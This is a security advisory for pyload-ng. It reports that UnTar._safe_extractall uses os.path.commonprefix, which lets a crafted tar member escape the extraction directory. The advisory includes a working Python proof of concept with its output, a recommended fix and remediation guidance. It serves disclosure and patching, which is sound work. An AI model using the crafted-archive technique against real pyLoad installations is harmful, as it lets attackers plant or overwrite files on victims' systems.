Skip to content

GHSA-mvwx-582f-56r7 CVE-2026-35592 PYSEC-2026-124

pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass

Medium PyPI
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.26%
Chance of exploitation in the next 30 days. Higher than 17.16% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
0.5.0b3.dev97
Upgrade pyload-ng to this version or later

Description

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

  • commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
  • commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

Output:

Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

  • Writing files outside the intended extraction directory into adjacent directories
  • Overwriting other users' downloads
  • Planting malicious files in predictable locations on disk
  • If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:

import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

Affected versions

PyPI

PackageVulnerableFixed in
pyload-ng
< 0.5.0b3.dev97
0.5.0b3.dev97

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pyload-ng PyPI → 0.5.0b3.dev97

pip
pip install --upgrade "pyload-ng>=0.5.0b3.dev97"
poetry
poetry add "pyload-ng>=0.5.0b3.dev97"
uv
uv add "pyload-ng>=0.5.0b3.dev97"

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
High Also affects pyload-ng
GHSA-9q47-3cm2-2rp8
pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header
Medium Also affects pyload-ng
GHSA-jq7h-wrvp-3rgx
pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session
High Also affects pyload-ng
GHSA-889w-m37p-88m5
pyLoad: Api.set_user_permission never invalidates the target's session
High Also affects pyload-ng
GHSA-p3pr-8f3m-4qp8
pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
Medium Also affects pyload-ng
GHSA-fr26-jjhm-638c
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
High Also affects pyload-ng
GHSA-r44w-v6gf-x3p6
pyLoad has an authentication bypass in API key validation (check_apikey cache)
High Also affects pyload-ng
GHSA-j92p-c242-7hfx
pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo
Medium Also affects pyload-ng
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor